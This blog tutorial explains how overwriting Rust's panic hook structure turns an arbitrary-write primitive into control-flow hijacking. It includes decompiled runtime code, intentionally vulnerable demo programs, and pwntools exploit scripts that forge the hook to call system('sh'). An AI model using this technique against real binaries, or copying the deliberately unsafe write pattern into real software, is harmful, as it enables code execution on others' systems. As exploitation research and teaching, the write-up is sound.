Featured image of post Rust Exploitation: From Panic to Shell

Rust Exploitation: From Panic to Shell

A walkthrough of exploiting Rust binaries by abusing panic hooks, showing how a simple panic can lead all the way to a shell.

Intro

Hello everyone!

You’ve probably heard that Rust is a memory-safe language, where many traditional exploitation techniques no longer apply.
But things get interesting when a program panics.

In this post, we’ll take a look at Rust’s panic mechanism and see how abusing the panic hook can turn a crash into a shell.

What is a Rust panic?

First, we take a look at Rust panic.
In Rust, a panic occurs when the program can no longer continue running safely.

For example, a panic can be triggered by a failed unwrap() or expect(), or by an explicit call to panic!() by the developer.

Panic is different from normal error handling using Result and Option. While error handling is meant for recoverable errors, panic represents a state where the program cannot continue running normally. With the default configuration, a panic prints an error message and terminates the program with a non-zero exit code (typically 101).

Because of this, when a panic occurs in Rust, the program’s control flow diverges from its normal execution path. Instead of returning from functions as usual, the runtime takes over and begins executing the panic handling routine.

In most cases, panic is simply viewed as a way to terminate the program. Once a panic happens, the program prints an error message and exits, and developers rarely think about what happens beyond that point.

However, when we take a closer look at what happens internally, the panic process reveals a surprisingly interesting execution flow. Before the program actually terminates, several runtime components are involved in handling the panic.

This internal flow is not something developers usually need to consider during normal development, but it becomes highly relevant from an exploitation perspective.

The official Rust documentation also describes panic as a runtime mechanism that stops program execution, but it does not go into detail about how this process unfolds internally.

Reference: Rust’s Panic documentation

What happens when Rust panics?

When a panic occurs, the program does not exit immediately. Instead, the Rust runtime begins executing a series of panic-handling steps.

Here’s a simplified view of the call flow (symbol names may vary by build):
std::panicking::begin_panic()
└─ std::sys::backtrace::__rust_end_short_backtrace()
  └─ std::panicking::begin_panic::{{closure}}()
    └─ std::panicking::rust_panic_with_hook()

Looking at the execution flow, all functions leading up to rust_panic_with_hook() act as thin wrappers. The actual panic behavior is determined inside rust_panic_with_hook(). As the name implies, this function controls the panic path based on the presence of a panic hook. To understand why this matters, we need to look at this function in detail.

Panic hook explained

Now, let’s dive into the internal of rust_panic_with_hook().

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void __cdecl __noreturn std::panicking::rust_panic_with_hook()
{
  __int64 v0; // rdx
  char v1; // cl
  __int64 v2; // rdi
  __int64 v3; // rsi
  char v4; // r8
  char v5; // r14
  char v6; // bl
  char v7; // al
  signed __int32 v8; // eax
  __int64 v9; // rdx
  __int64 v10; // rax
  __int64 v11; // rdx
  __int64 v12; // rcx
  __int64 *v13; // rax
  __int64 **v14; // rdi
  __int64 v15; // rdx
  __int64 *v16; // [rsp+0h] [rbp-B0h] BYREF
  void (__cdecl *v17)(); // [rsp+8h] [rbp-A8h]
  __int64 *v18; // [rsp+10h] [rbp-A0h]
  void (__cdecl *v19)(); // [rsp+18h] [rbp-98h]
  char **v20; // [rsp+20h] [rbp-90h]
  __int64 v21; // [rsp+28h] [rbp-88h]
  __int64 v22; // [rsp+30h] [rbp-80h]
  __int128 v23; // [rsp+38h] [rbp-78h]
  char v24; // [rsp+50h] [rbp-60h] BYREF
  _QWORD v25[2]; // [rsp+58h] [rbp-58h] BYREF
  __int64 v26; // [rsp+68h] [rbp-48h] BYREF
  __int64 v27; // [rsp+70h] [rbp-40h]
  __int64 v28; // [rsp+78h] [rbp-38h] BYREF

  v5 = v4;
  v6 = v1;
  v26 = v2;
  v27 = v3;
  v28 = v0;
  std::panicking::panic_count::increase();

The first operation performed by this function is a call to std::panicking::panic_count::increase().

The implementation of increase() look as follows.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
void __cdecl std::panicking::panic_count::increase()
{
  char v0; // of
  char v1; // di
  __int64 v2; // rt0
  unsigned __int64 v3; // rcx
  unsigned __int64 v4; // rax

  v2 = _InterlockedIncrement64(&std::panicking::panic_count::GLOBAL_PANIC_COUNT);
  if ( !((v2 < 0) ^ v0 | (v2 == 0)) )
  {
    v3 = __readfsqword(0);
    if ( !*(_BYTE *)(v3 - 0x20) )
    {
      v4 = v3 - 0x28;
      ++*(_QWORD *)v4;
      *(_BYTE *)(v4 + 8) = v1;
    }
  }
}

The call to _InterlockedIncrement64() increments std::panicking::panic_count::GLOBAL_PANIC_COUNT and returns the incremented value. This value is then checked determine whether the current thread is already in a panicking state.

The check at v3 - 0x20 corresponds to thread::panicking().
In other words, Rust verifies whether a panic has already occurred on the current thread. If this is the first panic, the thread is marked as panicking, and the function returns a value indicating “first panic” (here, 2).

The return value of increase() determines how rust_panic_with_hook() proceeds. There are three possible cases.

  • 0 or 1
    The panic message is constructed, printed, and the process exits.
  • 2
    This indicates the first panic on the current thread. In this case, Rust proceeds to invoke the panic hook.

In the following analysis, we focus on the case where the return value is 2. The code path is shown below.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
  if ( v7 == 2 )
  {
    v8 = std::panicking::HOOK[0];
    if ( std::panicking::HOOK[0] > 0x3FFFFFFDu
      || v8 != _InterlockedCompareExchange(std::panicking::HOOK, std::panicking::HOOK[0] + 1, std::panicking::HOOK[0]) )
    {
      std::sys::sync::rwlock::futex::RwLock::read_contended();
    }
    if ( *(_QWORD *)&std::panicking::HOOK[4] )
    {
      v20 = (char **)(*(__int64 (__fastcall **)(__int64))(v27 + 40))(v26);
      v21 = v15;
      v22 = v28;
      LOBYTE(v23) = v6;
      BYTE1(v23) = v5;
      (*(void (__fastcall **)(_QWORD))(*(_QWORD *)&std::panicking::HOOK[6] + 0x28))(*(_QWORD *)&std::panicking::HOOK[4]);
    }
    else
    {
      v20 = (char **)(*(__int64 (__fastcall **)(__int64))(v27 + 40))(v26);
      v21 = v9;
      v22 = v28;
      LOBYTE(v23) = v6;
      BYTE1(v23) = v5;
      std::panicking::default_hook();
    }
    core::ptr::drop_in_place<std::sync::poison::rwlock::RwLockReadGuard<std::panicking::Hook>>();
    *(_BYTE *)(__readfsqword(0) - 32) = 0;
    if ( v6 )
      __rustc::rust_panic();
    v20 = &off_451E58;
    v21 = 1;
    v22 = 8;
    v23 = 0;
    std::io::Write::write_fmt();
    v14 = &v16;
  }

The code first checks whether std::panicking::HOOK[0] exceeds 0x3FFFFFFD.
If the value is within range, it attempts to increment the hook counter using an atomic compare-and-exchange (CAS), which serves as the fast path.
If the value exceeds the limit or the CAS operation fails due to concurrent modification, execution fails back to RwLock::read_contended(), the slow path used to acquire the read lock under contention.

The code then checks the value of std::panicking::HOOK[4].

  • If HOOK[4] is NULL, Rust calls default_hook().
  • If HOOK[4] is non-zero, Rust performs an indirect call: (*(HOOK[6] + 0x28))(HOOK[4]).

The HOOK array resides in the .bss section and is writable at runtime. This means that if an attacker processes an Arbitrary Address Write (AAW) primitive, they can overwrite the fields inside std::panicking::HOOK and redirect execution during panic handling.

In other words, a panic can be turned into a reliable control-flow transfer point.

Before moving on, let’s briefly observe the difference between cases where a panic hook is registered and where is it not, using a simple example program.

The following example programs are used to compare the behavior with and without a panic hook.

  • set_hook version
1
2
3
4
5
6
7
8
9
// rustc panic_hook.rs -C relocation-model=static -C link-arg=-no-pie
use std::panic;

fn main() {
    panic::set_hook(Box::new(|_| {
        println!("Custom panic hook!");
    }));
    panic!();
}
  • non-hook version
1
2
3
4
5
6
// rustc panic.rs -C relocation-model=static -C link-arg=-no-pie
use std::panic;

fn main() {
    panic!();
}

We’ll begin by analyzing the non-hook version first.

Before starting the binary, we set a breakpoint at std::panicking::begin_panic():
b std::panicking::begin_panic. After running the binary, execution stops at the breakpoint.

From here, we keep stepping through the call chain until execution reaches rust_panic_with_hook().

Inside the function, the first call instruction invokes std::panicking::panic_count::increase().
Examining the return value shows that it is 2. As discussed earlier, this causes execution to enter the panic hook handling path.

Within the hook handling logic, the code first checks whether HOOK[0] exceeds 0x3FFFFFFD, and then attempts to increment the counter.

Inspecting the HOOK array at this point shows that the value has been incremented as expected.

Since HOOK[4] is NULL in this case, the default panic hook is invoked.
The error message is printed, and the binary exits.

Next, we analyze the binary compiled with panic::set_hook().
The execution flow is largely identical up to this point.
However, when the code checks the value of HOOK[4], we observe that it is now set to 1.

Because HOOK[4] is non-zero, execution follows the custom hook path. As a result, the user-defined panic hook is executed instead of the default hook.

Reference: Rust Panic Hook documentation

Turning Panic into Control Flow

Based on the analysis so far, we now assume that an AAW primitive available and attempt to turn it into control-flow hijacking.

The following program will be used for the demonstration.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// rustc overwrite_hook.rs -C relocation-model=static -C link-arg=-no-pie
use std::io::{self, Read, Write};

fn main() {
    let mut addr_str = String::new();
    let mut data = [0u8; 0x20];

    print!("addr: ");
    io::stdout().flush().unwrap();
    io::stdin().read_line(&mut addr_str).unwrap();

    print!("value: ");
    io::stdout().flush().unwrap();
    io::stdin().read_exact(&mut data).unwrap();

    let addr: u64 = addr_str.trim().parse().unwrap();
    unsafe {
        std::ptr::copy_nonoverlapping(data.as_ptr(), addr as *mut u8, 0x20);
    }
    panic!();
}

This program takes two inputs from the user:

  • an address (addr)
  • a byte sequence (value)

It then performs the equivalent of memcpy(addr, value, 0x20), followed by a call to panic!().

Before overwriting the hook, we first need its address. This can be obtained either by inspecting the binary in IDA or by resolving the symbol in GDB. In this case, the address of std::panicking::HOOK is 0x45BA18

Now that we know the hook address, we can construct a proof-of-concept payload that redirects execution to an arbitrary address. As a test, we set RIP to 0xdeadbeefcafebabe.

The poc script is shown below.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

e = ELF("./overwrite_hook")
p = process(e.path)

def fake_panic_hook(addr, func):
    func_addr = addr + 0x4
    payload = b""
    payload += p32(0) # HOOK[0]
    payload += p64(func) # HOOK[1] - HOOK[2]
    payload += p32(0) # HOOK[3]
    payload += p32(1) # HOOK[4]
    payload += p32(0) # HOOK[5]
    payload += p32(func_addr-0x28) # HOOK[6] : HOOK[1] - 0x28
    payload += p32(0) # HOOK[7]
    return payload

panic_hook = e.sym["_ZN3std9panicking4HOOK17h7fb26004894a95b5E"] # 0x45BA18
payload = fake_panic_hook(panic_hook, 0xdeadbeefcafebabe)
p.sendlineafter(b"addr: ", str(panic_hook).encode())
p.sendafter(b"value: ", payload)

p.interactive()

After running the poc script, we examine the state of the HOOK structure and verify that RIP is successfully redirected.
As shown below, a fake panic hook is written into the HOOK structure, and the indirect call invokes 0xdeadbeefcafebabe.

At this point, we have successfully transformed an AAW into an Arbitrary Address Call.

From Panic to Shell

After achieving reliable RIP control, we proceed to turn it into shell execution.
To spawn a shell, we need to invoke system("sh").

As discussed earlier, when a panic hook is present, the call site takes the following form:

1
2
// panic hook invocation
(*(HOOK[6] + 0x28))(HOOK[4]);

This means that:

  • the function pointer is derived from HOOK[6]
  • the argument is taken from HOOK[4]

Therefore, by setting:

  • the call target to system
  • the argument to a pointer to "sh"

With this setup, shell execution becomes possible.
Since calling system() requires its runtime address, the program is slightly modified to resolve it via dlsym().

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// rustc overwrite_hook.rs -C relocation-model=static -C link-arg=-no-pie
use std::io::{self, Read, Write};
use std::ffi::CString;

extern "C" {
    fn dlsym(handle: *mut core::ffi::c_void, symbol: *const i8) -> *mut core::ffi::c_void;
}

const RTLD_DEFAULT: *mut core::ffi::c_void = 0 as *mut _;


fn main() {
    let mut addr_str = String::new();
    let mut data = [0u8; 0x20];

    unsafe {
        let sym = CString::new("system").unwrap();
        let p = dlsym(RTLD_DEFAULT, sym.as_ptr()) as usize;
        println!("libc system @ 0x{:x}", p);
    }

    print!("addr: ");
    io::stdout().flush().unwrap();
    io::stdin().read_line(&mut addr_str).unwrap();

    print!("value: ");
    io::stdout().flush().unwrap();
    io::stdin().read_exact(&mut data).unwrap();

    let addr: u64 = addr_str.trim().parse().unwrap();
    unsafe {
        std::ptr::copy_nonoverlapping(data.as_ptr(), addr as *mut u8, 0x20);
    }
    panic!();
}

The exploit script is shown below.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

e = ELF("./overwrite_hook")
p = process(e.path)

def fake_panic_hook(addr, func):
    func_addr = addr + 0x4
    payload = b""
    payload += p32(0) # HOOK[0]
    payload += p64(func) # HOOK[1] - HOOK[2]
    payload += b"sh\x00\x00" # HOOK[3]
    payload += p32(addr+0xC) # HOOK[4]
    payload += p32(0) # HOOK[5]
    payload += p32(func_addr-0x28) # HOOK[6] : HOOK[1] - 0x28
    payload += p32(0) # HOOK[7]
    return payload

panic_hook = e.sym["_ZN3std9panicking4HOOK17h7fb26004894a95b5E"] # 0x45BA18
system = int(p.recvline().split(b"@")[1], 16)
log.info(f"system @ {hex(system)}")
payload = fake_panic_hook(panic_hook, system)
p.sendlineafter(b"addr: ", str(panic_hook).encode())
p.sendafter(b"value: ", payload)

p.interactive()

As shown below, execution reaches system("sh").

A shell successfully spawned.

Summary

In this post, we explored how Rust’s panic hook mechanism can be abused to achieve an Arbitrary Address Call.
By overwriting the panic hook structure, we showed that an Arbitrary Address Write can be reliably transformed into control-flow hijacking.

Because panic handling is a core part of Rust’s runtime, panic-related structures are always present in compiled binaries.
In particular, the panic hook resides in the .bss section and remains writable during execution.

As a result, when an Arbitrary Address Write primitive is available, the panic hook can serve as a reliable exploitation target.
Through this, we confirmed that runtime behavior in Rust can be leveraged for exploitation.

Built with Hugo
Theme Stack designed by Jimmy